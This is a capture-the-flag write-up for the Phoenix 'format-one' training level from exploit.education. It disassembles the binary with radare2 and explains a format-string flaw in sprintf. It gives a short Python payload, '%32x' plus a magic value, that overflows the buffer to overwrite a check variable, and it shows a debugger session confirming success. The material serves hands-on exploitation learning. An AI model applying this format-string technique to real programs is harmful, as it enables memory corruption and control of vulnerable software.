Here follows the dissasembly of the binary.

$ r2 /opt/phoenix/i486/format-one
[0x080483d0]> aas
Cannot analyze at 0x08048650
[0x080483d0]> afl
0x08048338    1 17           sym._init
0x08048520    7 277  -> 112  sym.frame_dummy
0x08048610    5 49           sym.__do_global_ctors_aux
0x08048641    1 12           sym._fini
0x080484a0    8 113  -> 111  sym.__do_global_dtors_aux
0x08048114   57 604  -> 666  sym..interp
0x080483d0    1 62           entry0
0x080483c0    1 6            sym.imp.__libc_start_main
0x08048728    1 14           loc.__GNU_EH_FRAME_HDR
0x08048744    3 34           sym..eh_frame
0x08048780    1 10           obj.__EH_FRAME_BEGIN
0x08048410    4 49   -> 40   sym.deregister_tm_clones
0x080487a4    1 4            obj.__FRAME_END
0x08048565    6 163          main
0x08048380    1 6            sym.imp.puts
0x08048370    1 6            sym.imp.fgets
0x08048390    1 6            sym.imp.errx
0x080483a0    1 6            sym.imp.sprintf
0x08048360    1 6            sym.imp.printf
0x080483b0    1 6            sym.imp.exit
[0x080483d0]> s main
[0x08048565]> pdf
/ (fcn) main 163
|   int main (int argc, char **argv, char **envp);
|           ; var int32_t var_3ch @ ebp-0x3c
|           ; var int32_t var_2dh @ ebp-0x2d
|           ; var int32_t var_2ch @ ebp-0x2c
|           ; var int32_t var_ch @ ebp-0xc
|           ; arg int32_t arg_4h @ esp+0x4
|           ; DATA XREF from entry0 @ 0x8048404
|           0x08048565      8d4c2404       lea ecx, [arg_4h]
|           0x08048569      83e4f0         and esp, 0xfffffff0
|           0x0804856c      ff71fc         push dword [ecx - 4]
|           0x0804856f      55             push ebp
|           0x08048570      89e5           mov ebp, esp
|           0x08048572      51             push ecx
|           0x08048573      83ec44         sub esp, 0x44
|           0x08048576      83ec0c         sub esp, 0xc
|           0x08048579      6850860408     push str.Welcome_to_phoenix_format_one__brought_to_you_by_https:__exploit.education ; sym..rodata
|                                                                      ; 0x8048650 ; "Welcome to phoenix/format-one, brought to you by https://exploit.education"
|           0x0804857e      e8fdfdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x08048583      83c410         add esp, 0x10
|           0x08048586      a1a0980408     mov eax, dword [obj.stdin]  ; sym..bss
|                                                                      ; [0x80498a0:4]=0
|           0x0804858b      83ec04         sub esp, 4
|           0x0804858e      50             push eax
|           0x0804858f      6a0f           push 0xf                    ; 15
|           0x08048591      8d45c4         lea eax, [var_3ch]
|           0x08048594      50             push eax
|           0x08048595      e8d6fdffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
|           0x0804859a      83c410         add esp, 0x10
|           0x0804859d      85c0           test eax, eax
|       ,=< 0x0804859f      750f           jne 0x80485b0
|       |   0x080485a1      83ec08         sub esp, 8
|       |   0x080485a4      689b860408     push str.Unable_to_get_buffer ; 0x804869b ; "Unable to get buffer"
|       |   0x080485a9      6a01           push 1                      ; 1
|       |   0x080485ab      e8e0fdffff     call sym.imp.errx           ; void errx(int eval)
|       `-> 0x080485b0      c645d300       mov byte [var_2dh], 0
|           0x080485b4      c745f4000000.  mov dword [var_ch], 0
|           0x080485bb      83ec08         sub esp, 8
|           0x080485be      8d45c4         lea eax, [var_3ch]
|           0x080485c1      50             push eax
|           0x080485c2      8d45d4         lea eax, [var_2ch]
|           0x080485c5      50             push eax
|           0x080485c6      e8d5fdffff     call sym.imp.sprintf        ; int sprintf(char *s, const char *format, ...)
|           0x080485cb      83c410         add esp, 0x10
|           0x080485ce      8b45f4         mov eax, dword [var_ch]
|           0x080485d1      3d6c4f7645     cmp eax, 0x45764f6c
|       ,=< 0x080485d6      7416           je 0x80485ee
|       |   0x080485d8      8b45f4         mov eax, dword [var_ch]
|       |   0x080485db      83ec08         sub esp, 8
|       |   0x080485de      50             push eax
|       |   0x080485df      68b0860408     push str.Uh_oh___changeme__is_not_the_magic_value__it_is_0x_08x ; 0x80486b0 ; "Uh oh, 'changeme' is not the magic value, it is 0x%08x\n"
|       |   0x080485e4      e877fdffff     call sym.imp.printf         ; int printf(const char *format)
|       |   0x080485e9      83c410         add esp, 0x10
|      ,==< 0x080485ec      eb10           jmp 0x80485fe
|      |`-> 0x080485ee      83ec0c         sub esp, 0xc
|      |    0x080485f1      68e8860408     push str.Well_done__the__changeme__variable_has_been_changed_correctly ; 0x80486e8 ; "Well done, the 'changeme' variable has been changed correctly!"
|      |    0x080485f6      e885fdffff     call sym.imp.puts           ; int puts(const char *s)
|      |    0x080485fb      83c410         add esp, 0x10
|      |    ; CODE XREF from main @ 0x80485ec
|      `--> 0x080485fe      83ec0c         sub esp, 0xc
|           0x08048601      6a00           push 0
\           0x08048603      e8a8fdffff     call sym.imp.exit           ; void exit(int status)
[0x08048565]> agf
[0x08048565]>  # int main (int argc, char **argv, char **envp);
    .----------------------------------------------------------------------------------------.
    |  0x8048565                                                                             |
    | (fcn) main 163                                                                         |
    |   int main (int argc, char **argv, char **envp);                                       |
    | ; var int32_t var_3ch @ ebp-0x3c                                                       |
    | ; var int32_t var_2dh @ ebp-0x2d                                                       |
    | ; var int32_t var_2ch @ ebp-0x2c                                                       |
    | ; var int32_t var_ch @ ebp-0xc                                                         |
    | ; arg int32_t arg_4h @ esp+0x4                                                         |
    | ; DATA XREF from entry0 @ 0x8048404                                                    |
    | lea ecx, [arg_4h]                                                                      |
    | and esp, 0xfffffff0                                                                    |
    | push dword [ecx - 4]                                                                   |
    | push ebp                                                                               |
    | mov ebp, esp                                                                           |
    | push ecx                                                                               |
    | sub esp, 0x44                                                                          |
    | sub esp, 0xc                                                                           |
    | ; sym..rodata                                                                          |
    | ; 0x8048650                                                                            |
    | ; "Welcome to phoenix/format-one, brought to you by https://exploit.education"         |
    | push str.Welcome_to_phoenix_format_one__brought_to_you_by_https:__exploit.education    |
    | ; int puts(const char *s)                                                              |
    | call sym.imp.puts;[oa]                                                                 |
    | add esp, 0x10                                                                          |
    | ; sym..bss                                                                             |
    | ; [0x80498a0:4]=0                                                                      |
    | mov eax, dword [obj.stdin]                                                             |
    | sub esp, 4                                                                             |
    | push eax                                                                               |
    | ; 15                                                                                   |
    | push 0xf                                                                               |
    | lea eax, [var_3ch]                                                                     |
    | push eax                                                                               |
    | ; char *fgets(char *s, int size, FILE *stream)                                         |
    | call sym.imp.fgets;[ob]                                                                |
    | add esp, 0x10                                                                          |
    | test eax, eax                                                                          |
    | jne 0x80485b0                                                                          |
    `----------------------------------------------------------------------------------------'
            f t
            | |
            | '-------------------------------------.
            |                                       |
            |                                       |
        .----------------------------------.    .-------------------------------------------------.
        |  0x80485a1                       |    |  0x80485b0                                      |
        | sub esp, 8                       |    | mov byte [var_2dh], 0                           |
        | ; 0x804869b                      |    | mov dword [var_ch], 0                           |
        | ; "Unable to get buffer"         |    | sub esp, 8                                      |
        | push str.Unable_to_get_buffer    |    | lea eax, [var_3ch]                              |
        | ; 1                              |    | push eax                                        |
        | push 1                           |    | lea eax, [var_2ch]                              |
        | ; void errx(int eval)            |    | push eax                                        |
        | call sym.imp.errx;[oc]           |    | ; int sprintf(char *s, const char *format, ...) |
        `----------------------------------'    | call sym.imp.sprintf;[od]                       |
                                                | add esp, 0x10                                   |
                                                | mov eax, dword [var_ch]                         |
                                                | cmp eax, 0x45764f6c                             |
                                                | je 0x80485ee                                    |
                                                `-------------------------------------------------'
                                                        f t
                                                        | |
                                                        | '-------------------.
    .---------------------------------------------------'                     |
    |                                                                         |
.--------------------------------------------------------------------.    .---------------------------------------------------------------------------.
|  0x80485d8                                                         |    |  0x80485ee                                                                |
| mov eax, dword [var_ch]                                            |    | sub esp, 0xc                                                              |
| sub esp, 8                                                         |    | ; 0x80486e8                                                               |
| push eax                                                           |    | ; "Well done, the 'changeme' variable has been changed correctly!"        |
| ; 0x80486b0                                                        |    | push str.Well_done__the__changeme__variable_has_been_changed_correctly    |
| ; "Uh oh, 'changeme' is not the magic value, it is 0x%08x\n"       |    | ; int puts(const char *s)                                                 |
| push str.Uh_oh___changeme__is_not_the_magic_value__it_is_0x_08x    |    | call sym.imp.puts;[oa]                                                    |
| ; int printf(const char *format)                                   |    | add esp, 0x10                                                             |
| call sym.imp.printf;[oe]                                           |    `---------------------------------------------------------------------------'
| add esp, 0x10                                                      |        v
| jmp 0x80485fe                                                      |        |
`--------------------------------------------------------------------'        |
    v                                                                         |
    |                                                                         |
    '--------------------------------------------------------.                |
                                                             | .--------------'
                                                             | |
                                                       .-----------------------------------.
                                                       |  0x80485fe                        |
                                                       | ; CODE XREF from main @ 0x80485ec |
                                                       | sub esp, 0xc                      |
                                                       | push 0                            |
                                                       | ; void exit(int status)           |
                                                       | call sym.imp.exit;[of]            |
                                                       `-----------------------------------'

From the above, the key points are the following:

  • The input is read from STDIN via a call to fgets at address 0x08048595. It is saved at var_3ch with a size restriction of 15 bytes.
  • var_3ch is used as a format string for sprintf at 0x080485c6.
  • The objective is to overwrite var_ch with 0x45764f6c, which is tested at 0x080485d1.

The exploit is almost identical to the one from the previous level, with the only exception being the value that needs to be written to var_ch.

#!/usr/bin/env python3
import os

os.write(1, b'\x25\x33\x32\x78'+b'\x6c\x4f\x76\x45')
$ ./theScript.py > pattern
#!/usr/bin/env rarun2
stdio=/dev/pts/0
stdin=./pattern

Replace /dev/pts/0 with the output of the command tty and ./pattern with the full path to the file that contains the input to be read from the binary.

$ r2 -d /opt/phoenix/i486/format-one -r theProfile.rr2
[0xf7ef4d4b]> aas
Cannot analyze at 0x08048650
[0xf7ef4d4b]> db 0x080485c6
[0xf7ef4d4b]> dc
Welcome to phoenix/format-one, brought to you by https://exploit.education
hit breakpoint at: 80485c6
[0x080485c6]> dr
eax = 0xffb9951c
ebx = 0xf7f2a000
ecx = 0xf7f2ae08
edx = 0x00000000
esi = 0xffb995d4
edi = 0x00000001
esp = 0xffb994f0
ebp = 0xffb99548
eip = 0x080485c6
eflags = 0x00000292
oeax = 0xffffffff
[0x080485c6]> px/16xw 0xffb99548-0x3c
0xffb9950c  0x78323325 0x45764f6c 0xf7f2c100 0x00000000  %32xlOvE........
0xffb9951c  0x08048300 0x00000000 0x00000000 0x00000000  ................
0xffb9952c  0x00000000 0x00000000 0x00000000 0x00000000  ................
0xffb9953c  0x00000000 0x00000000 0xffb99560 0xffb995dc  ........`.......
[0x080485c6]> px/xw 0xffb99548-0xc
0xffb9953c  0x00000000                                   ....
[0x080485c6]> dso
hit breakpoint at: 80485cb
[0x080485c6]> px/16xw 0xffb99548-0x3c
0xffb9950c  0x78323325 0x45764f6c 0xf7f2c100 0x00000000  %32xlOvE........
0xffb9951c  0x20202020 0x20202020 0x20202020 0x20202020                  
0xffb9952c  0x20202020 0x20202020 0x32663766 0x30343161          f7f2a140
0xffb9953c  0x45764f6c 0x00000000 0xffb99560 0xffb995dc  lOvE....`.......
[0x080485c6]> px/xw 0xffb99548-0xc
0xffb9953c  0x45764f6c                                   lOvE
[0x080485c6]> dc
Well done, the 'changeme' variable has been changed correctly!

Conclusion

In this level, the approach was almost identical to that of the previous one with the only difference being that a specific value needed to be written to var_ch.